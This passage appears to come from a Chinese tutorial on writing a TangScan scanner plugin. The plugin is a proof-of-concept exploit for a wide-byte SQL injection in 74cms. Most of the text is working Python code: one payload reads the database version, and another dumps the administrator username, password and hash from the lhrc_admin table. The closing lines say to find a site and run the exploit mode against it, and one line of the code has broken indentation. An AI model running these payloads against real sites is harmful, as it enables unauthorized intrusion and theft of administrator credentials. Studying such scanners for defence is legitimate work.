            "product": "74cms", # POC 所针对的应用, 在 tangscan 主页上展示出所有的应用
                # 名称必须和 tangscan 主页上的一致(大小写敏感)
            "product_version": "", # 应用版本号
            "desc": """
                74cms plus/ajax_common.php 对编码的处理不恰当,在处理UTF8转成GBK后还对其进行了addslashes处理。转码后直接带入查询 而且直接输出
            """,  # 漏洞描述
            "license": self.license.TS, # POC 的版权信息
            "author": ["saline"], # POC 编写者
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-063225"},# 乌云案例链接
            ],
            "type": self.type.injection, # 漏洞类型, 在详细介绍中列举了所有 POC 的类型
            "severity": self.severity.high, # 漏洞的危害等级, 在详细介绍中列举了所有 POC 的危害等级
            "privileged": False, # 是否需要登录
            "disclosure_date": "2014-09-03",# 漏洞的公布时间
            "create_date": "2015-03-30",# POC创建时间
        }
 
        self.register_option({  #调用 regsiter_option 方法注册所需参数
            "url": {            #我们所需的参数是 url
                "default": "",  #设置参数 url 的默认值为 ""
                "required": True, #设置参数 url 是否是必要参数
                "choices": [],  #设置参数 url 的可选值, []为无可选值
                "convert": self.convert.url_field, #设置参数 url 的类型, TangScan会判断以及自动将参数url转成POC中的url类型
                                                   #例如: www.example.com 转换成 http://www.example.com
                "desc": "目标 url" #设置参数 url 的描述, 这会在帮助中显示
            }
        })
 
        self.register_result({  #调用 register_result 方法注册POC返回结果
            "status": False,    #POC 的成功失败状态, 必须
            "data": {           #POC 返回数据的存放处,必须名为 data, 而且data中的键都在 数据返回表 中已定义
                "user_info": {  #POC 的exploit模式将返回管理员用户名密码, 所以data下填写user_info
                    "username": "",  #POC 将返回 user_info 的 username
                    "password": "",  #POC 将返回 user_info 的 password
                    "pwd_hash": ""   #POC 将返回 user_info 的 pwd_hash
                },
                "db_info": {
                    "version": "",   #POC 将返回 db_info 的 version的版本信息
                }
            },
            "description": "",       #POC 返回对人类可读性良好的信息, 最终会直接显示在漏洞报表中
            "error": ""              #POC 执行失败或者异常的原因
        })
 
    def verify(self): #定义 verify 方法
        self.print_debug("verify start") #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_version_pattern = re.compile(r'~~~(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
        #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_officebuilding.php?act=key&key=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,2,3,concat(0x7e7e7e,@@version,0x7e7e7e),5,6,7,8,9%23".format(domain=self.option.url))
                    #self.option.url 就是我们所定义输入的 url , 在这里可以获取用户在命令行输入的 url
                    #例如: 使用 self.option.xxx 就可以获取在命令行输入的 xxx 的值
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_version_pattern.findall(response.content)
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #self.result.status 就是我们所定义输出的 status, 检测目标url存在漏洞, 设置 self.result.status = True
            #例如: 使用 self.result.xxx 就可以获取或设置result 的结果
        self.result.data.db_info.version = re_result[0]
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
        #设置 result.description, 最终会在报表中直接显示
            url=self.option.url,
            db_version=re_result[0]
        )
 
    def exploit(self):                   #定义 exploit 方法
        self.print_debug("exploit start")
            #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_userinfo_pattern = re.compile(r'~~~(\w+?)\|\|\|(\w+?)\|\|\|(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            # 建立获取user_info的正则表达式, 建议在敏感信息周边加上特殊符号以便于正则获取, 也可以大程度减少误报
            #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,concat(0x7e7e7e,admin_name,0x7c7c7c,pwd,0x7c7c7c,pwd_hash,0x7e7e7e),3%20fr%3C%3Eom%20lhrc_admin%23".format(domain=self.option.url))
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_userinfo_pattern.findall(response.content)
            #使用正则获取html页面中的信息
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #获取到敏感信息之后, 将status设置为 True
        self.result.data.user_info.username = re_result[0][0] 
            #通过self.result.data.user_info.username = re_result[0][0] 可以很简单的设置结果中的username
        self.result.data.user_info.password = re_result[0][1]
        #通过self.resutl.data.user_info.password = re_result[0][1] 可以很简单的设置结果中的password
    self.result.data.user_info.pwd_hash = re_result[0][2]
        self.result.description = "目标 {url} 存在sql注入, 目标管理员用户: {username}, 密码: {password},HASH: {pwd_hash}".format(
            url=self.option.url,
            username=self.result.data.user_info.username,
            password=self.result.data.user_info.password,
            pwd_hash=self.result.data.user_info.pwd_hash
        )
 
 
if __name__ == '__main__':
    from modules.main import main #导入 main 函数
    main(TangScan())              #执行 main 函数, 以TangScan的一个实例为参数

我去,出现乱码了~但是不影响

找个站来测试下我们的exp

继续--mode exploit测试下